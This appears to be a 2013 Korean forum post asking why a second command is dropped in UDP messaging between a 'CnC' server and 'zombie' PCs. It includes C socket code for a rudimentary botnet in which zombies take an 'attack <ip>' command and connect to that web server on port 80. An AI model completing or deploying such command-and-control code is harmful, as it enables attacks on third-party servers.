모바일 오유 바로가기
http://m.todayhumor.co.kr
분류 게시판
베스트
  • 베스트오브베스트
  • 베스트
  • 오늘의베스트
  • 유머
  • 유머자료
  • 유머글
  • 이야기
  • 자유
  • 고민
  • 연애
  • 결혼생활
  • 좋은글
  • 자랑
  • 공포
  • 멘붕
  • 사이다
  • 군대
  • 밀리터리
  • 미스터리
  • 술한잔
  • 오늘있잖아요
  • 투표인증
  • 새해
  • 이슈
  • 시사
  • 시사아카이브
  • 사회면
  • 사건사고
  • 생활
  • 패션
  • 패션착샷
  • 아동패션착샷
  • 뷰티
  • 인테리어
  • DIY
  • 요리
  • 커피&차
  • 육아
  • 법률
  • 동물
  • 지식
  • 취업정보
  • 식물
  • 다이어트
  • 의료
  • 영어
  • 맛집
  • 추천사이트
  • 해외직구
  • 취미
  • 사진
  • 사진강좌
  • 카메라
  • 만화
  • 애니메이션
  • 포니
  • 자전거
  • 자동차
  • 여행
  • 바이크
  • 민물낚시
  • 바다낚시
  • 장난감
  • 그림판
  • 학술
  • 경제
  • 역사
  • 예술
  • 과학
  • 철학
  • 심리학
  • 방송연예
  • 연예
  • 음악
  • 음악찾기
  • 악기
  • 음향기기
  • 영화
  • 다큐멘터리
  • 국내드라마
  • 해외드라마
  • 예능
  • 팟케스트
  • 방송프로그램
  • 무한도전
  • 더지니어스
  • 개그콘서트
  • 런닝맨
  • 나가수
  • 디지털
  • 컴퓨터
  • 프로그래머
  • IT
  • 안티바이러스
  • 애플
  • 안드로이드
  • 스마트폰
  • 윈도우폰
  • 심비안
  • 스포츠
  • 스포츠
  • 축구
  • 야구
  • 농구
  • 바둑
  • 야구팀
  • 삼성
  • 두산
  • NC
  • 넥센
  • 한화
  • SK
  • 기아
  • 롯데
  • LG
  • KT
  • 메이저리그
  • 일본프로야구리그
  • 게임1
  • 플래시게임
  • 게임토론방
  • 엑스박스
  • 플레이스테이션
  • 닌텐도
  • 모바일게임
  • 게임2
  • 던전앤파이터
  • 마비노기
  • 마비노기영웅전
  • 하스스톤
  • 히어로즈오브더스톰
  • gta5
  • 디아블로
  • 디아블로2
  • 피파온라인2
  • 피파온라인3
  • 워크래프트
  • 월드오브워크래프트
  • 밀리언아서
  • 월드오브탱크
  • 블레이드앤소울
  • 검은사막
  • 스타크래프트
  • 스타크래프트2
  • 베틀필드3
  • 마인크래프트
  • 데이즈
  • 문명
  • 서든어택
  • 테라
  • 아이온
  • 심시티5
  • 프리스타일풋볼
  • 스페셜포스
  • 사이퍼즈
  • 도타2
  • 메이플스토리1
  • 메이플스토리2
  • 오버워치
  • 오버워치그룹모집
  • 포켓몬고
  • 파이널판타지14
  • 배틀그라운드
  • 기타
  • 종교
  • 단어장
  • 자료창고
  • 운영
  • 공지사항
  • 오유운영
  • 게시판신청
  • 보류
  • 임시게시판
  • 메르스
  • 세월호
  • 원전사고
  • 2016리오올림픽
  • 2018평창올림픽
  • 코로나19
  • 2020도쿄올림픽
  • 게시판찾기
  • 오유인페이지
    개인차단 상태
    읏차읏차님의
    개인페이지입니다
    가입 : 11-06-04
    방문 : 2481회
    닉네임변경 이력
    회원차단
    회원차단해제
    게시물ID : computer_115326
    작성자 : 존내쿨함
    추천 : 0
    조회수 : 431
    IP : 112.170.***.37
    댓글 : 1개
    등록시간 : 2013/09/29 03:15:15
    http://todayhumor.com/?computer_115326 모바일
    udp 통신 관련해서 질문드립니다.
    CnC 서버와 좀비 pc간의 통신에서 질문드리고싶은게있습니다.

    해커에서 명령을 보냈을때, 첫번째 명령은 drop되는데 두번째 명령은 drop이 안되더라구요

    어디가 문제인지 감이 안잡힙니다.

    코드 보여드릴게요.

    \\\\\

    Zombie

    DWORD WINAPI command(LPVOID){

    int retval,strLen;

    SOCKET recv_sock;
    recv_sock = socket(AF_INET, SOCK_DGRAM, 0);

    SOCKADDR_IN servaddr;
    ZeroMemory(&servaddr, sizeof(servaddr));  // 메모리의 값을 0을 초기화
    servaddr.sin_family = AF_INET; // 고정, 다른값 사용X (PF_INET)
    servaddr.sin_port = htons(70); // 좀비의 포트번호 
    servaddr.sin_addr.s_addr =htonl(INADDR_ANY); // 모든 ip에 개방
    SOCKADDR_IN cncaddr;
    retval =bind(recv_sock, (SOCKADDR *)&servaddr, sizeof(servaddr));//70번 포트 개방
    if(retval == SOCKET_ERROR) return -1; //대기

    int cncaddr_sz;//ip 사이즈담을 변수
    cncaddr_sz=sizeof(cncaddr);

    while(1){
    char cmd[30]="\0";
    char *cmdptr1="";
    char *cmdptr2="";
    strLen=recvfrom(recv_sock, cmd, sizeof(cmd), 0, (SOCKADDR*)&cncaddr, &cncaddr_sz);
    MessageBox(NULL,cmd,"zombie- recv command",MB_OK);
    cmd[strLen]='\0';

    cmdptr1=strtok(cmd," \0");
    cmdptr2=strtok(NULL," \0");


    if(strcmp(cmdptr1,"attack") ==0)
    {
    char a_success[40]="attack_command_recv_success";
    strLen=sendto(recv_sock, a_success, strlen(a_success), 0, (SOCKADDR*)&cncaddr, sizeof(cncaddr));
    MessageBox(NULL,a_success,"zombie_cnc_send_success",MB_OK);

    SOCKET wep_sock=socket(AF_INET,SOCK_STREAM,0);// tcp용 소켓 만드는것.
    SOCKADDR_IN wep_addr;//구조체 변수 선언


    ZeroMemory(&wep_addr,sizeof(wep_addr));//무조건 초기화 하고사용

    wep_addr.sin_family=AF_INET;//wep_addr 구조체 검색
    wep_addr.sin_port=htons(80);//포트넘버
    wep_addr.sin_addr.s_addr=inet_addr(cmdptr2);//double 구조체,#define INADDR_ANY 0 전처리기 활용
    retval=connect(wep_sock,(SOCKADDR *)&wep_addr/*wep_addr의 정보를 sockaddr로 형변환*/,sizeof(wep_addr)); 


    }
    }
    }



    \\\\\\\\\\\\\\

    CnC

    else if(strcmp(cmdptr1,"attack")==0)
    {
    //web server attack function
    SOCKET udp_sock;
    udp_sock = socket(AF_INET, SOCK_DGRAM, 0);

    //송신부
    SOCKADDR_IN zom_addr;
    ZeroMemory(&zom_addr, sizeof(zom_addr));  // 메모리의 값을 0을 초기화
    zom_addr.sin_family = AF_INET; // 고정, 다른값 사용X (PF_INET)
    zom_addr.sin_port = htons(70); // 서버의 포트번호

    int strLen=0;

    int zom_addr_sz;//ip 사이즈담을 변수
    zom_addr_sz=sizeof(zom_addr);

    for(int i=0;i<count;i++){
    zom_addr.sin_addr.s_addr=zlist[i]; // *좀비의 Ip주소*

    strLen=sendto(udp_sock, cp_cmd, strlen(cp_cmd), 0, (SOCKADDR*)&zom_addr, sizeof                              
    (zom_addr));//attack command transmit
    MessageBox(NULL,cp_cmd,"send command",MB_OK);

    strLen=recvfrom(udp_sock, cmsg, sizeof(cmsg), 0
    , (SOCKADDR*)&zom_addr, &zom_addr_sz); //transmitted success message
    MessageBox(NULL,cmsg,"zom_cnc_recv_success",MB_OK);
    text=send(client_sock,cmsg,strlen(cmsg),0);//after attack, send success message
    MessageBox(NULL,cmsg,"cnc_hack_send_success",MB_OK);
    }

    }

    Cnc까지는 명령이 잘가는데 왜 drop이 되거나 대기상태일까요>?

    이 게시물을 추천한 분들의 목록입니다.
    푸르딩딩:추천수 3이상 댓글은 배경색이 바뀝니다.
    (단,비공감수가 추천수의 1/3 초과시 해당없음)

    죄송합니다. 댓글 작성은 회원만 가능합니다.

    번호 제 목 이름 날짜 조회 추천
    311
    안녕하세요 치킨쏘러왔는데요 [42] 존내쿨함 13/10/12 23:19 256 13
    310
    최진기 선생님의 일침 존내쿨함 13/10/10 15:03 134 0
    307
    쿨해진다는건 힘들다. [3] 존내쿨함 13/10/08 23:50 51 0
    305
    남양이 그래도 위험한건 아나봅니다 존내쿨함 13/10/05 18:18 33 0
    304
    페이스북 페이지에서 오유 출처의 글을 무단 도용중인것같습니다. [1] 존내쿨함 13/10/04 21:24 49 0
    303
    자네들은 라면을 소중히 여기지 않았어 [2] 존내쿨함 13/10/03 04:07 231 0
    302
    여러분들은 잠 어떻게 주무세요 [3] 존내쿨함 13/10/03 03:18 70 0
    udp 통신 관련해서 질문드립니다. [1] 존내쿨함 13/09/29 03:15 26 0
    300
    이런 재킷 어디서 구할까요? [4] 존내쿨함 13/09/28 03:39 150 0
    299
    이십대 여성분이 신을 만한 단화나 운동화 추천부탁드려요~ [4] 존내쿨함 13/09/26 01:54 45 0
    298
    부탁드립니다. 아무 말 말고 힘내세요 한마디만 해주세요.. [7] 존내쿨함 13/09/25 00:01 69 1
    297
    권과장님 뭐하고 계실까요.. 존내쿨함 13/09/22 17:25 71 0
    296
    아 답답하다. 존내쿨함 13/09/22 17:07 17 0
    295
    난 그저 보수라는 이유로 박근혜를 지지하는게 이해안간다 [3] 존내쿨함 13/09/20 03:57 136 1
    294
    남성 캐주얼 자켓 잘뽑는곳 아시는분있나요 존내쿨함 13/09/15 19:19 23 0
    293
    지디 옷진짜 잘입긴하네 존내쿨함 13/09/15 16:40 226 1
    292
    그래 시발 내가 원했던 무도가 오늘 나왔어 존내쿨함 13/09/14 20:32 167 1
    291
    삭을만하면 북풍또 오겠네 [1] 존내쿨함 13/09/14 14:35 52 0
    290
    130906 면접 [1] 존내쿨함 13/09/09 14:11 219 2
    289
    SW관리병 면접후기 [1] 존내쿨함 13/09/07 00:48 63 0
    288
    아 잣됨 존내쿨함 13/09/06 03:45 50 0
    287
    면접관들한테 음료수 돌리는거 좋은생각일까요 [8] 존내쿨함 13/09/06 01:38 126 0
    286
    박정희 만주신문 친일혈서 인증된 사이트 알수있을까요? [4] 존내쿨함 13/09/05 19:43 76 0
    285
    sw관리병 면접을 보러갑니다. 도움!!! 존내쿨함 13/09/04 03:02 45 0
    284
    주말 야밤 존내쿨함 13/09/02 02:04 84 0
    283
    사고게좀 만들어주세요 [1] 존내쿨함 13/09/01 03:18 52 1
    282
    캐주얼 & 클래식 정장에 멜 가방 샀는데 봐주세요 존내쿨함 13/08/31 14:48 46 0
    [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [다음10개▶]
    단축키 운영진에게 바란다(삭제요청/제안) 운영게 게시판신청 자료창고 보류 개인정보취급방침 청소년보호정책 모바일홈